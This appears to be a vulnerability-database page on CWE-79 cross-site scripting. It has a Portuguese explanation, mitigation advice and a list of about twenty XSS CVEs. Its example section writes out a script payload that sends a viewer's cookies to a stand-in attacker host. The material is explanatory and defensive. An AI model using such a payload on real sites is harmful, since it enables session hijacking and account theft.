Fallos del tipo CWE-79

30.299 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2026-1705MEDIUMD-Link DSL-6641K Web ad_virtual_server_vdsl cross site scriptingEPSS 0.3%CVE-2025-23725HIGHWordPress Accessibility Task Manager plugin <= 1.2.1 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-100172HIGHStored XSS in AIL Framework extracted-match popovers via unescaped dynamic values in HTML-enabled data-content attributesEPSS 0.3%CVE-2025-22569HIGHWordPress Featured Page Widget Plugin <= 2.2 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-23733HIGHWordPress SC Simple Zazzle plugin <= 1.1.6 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-22709HIGHWordPress Verge3D Publishing and E-Commerce Plugin <= 4.8.0 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-22353HIGHWordPress BVD Easy Gallery Manager plugin <= 1.0.6 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-7392MEDIUMCookies Addons - Moderately critical - Cross-site Scripting - SA-CONTRIB-2025-087EPSS 0.3%CVE-2025-43802MEDIUMStored cross-site scripting (XSS) vulnerability in a custom object’s /o/c/<object-name> API endpoint in Liferay Portal 7.4.3.51 through 7.4.EPSS 0.3%CVE-2024-51946MEDIUMStored XSS in Rest Services Directory under Identify operationEPSS 0.3%CVE-2019-25394MEDIUMSmoothwall Express 3.1 'modem.cgi' Cross-Site ScriptingEPSS 0.3%CVE-2025-22593HIGHWordPress Laika Pedigree Tree plugin <= 1.4 - CSRF to Stored XSS vulnerabilityEPSS 0.3%CVE-2025-24626HIGHWordPress Music Store – WordPress eCommerce Plugin <= 1.1.19 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-51924MEDIUMWordPress WP Agenda plugin <= 2.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-3170MEDIUMSourceCodester/Patrick Mvuma Patients Waiting Area Queue Management System patient-search.php cross site scriptingEPSS 0.3%CVE-2025-46484MEDIUMWordPress Image Hover Effects For WPBakery Page Builder plugin <= 2.0 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.3%CVE-2024-51953MEDIUMStored XSS in ArcGIS Server Rest servicesEPSS 0.3%CVE-2026-73336MEDIUMJoomla! Core - [20260806] - XSS through schema.org outputs in Joomla 5.1.0-5.4.7, 6.0.0-6.1.2EPSS 0.3%CVE-2025-22706HIGHWordPress Social Pug: Author Box plugin <= 1.0.0 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-36605MEDIUMDell Unity, version(s) 5.5 and prior, contain(s) an Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulEPSS 0.3%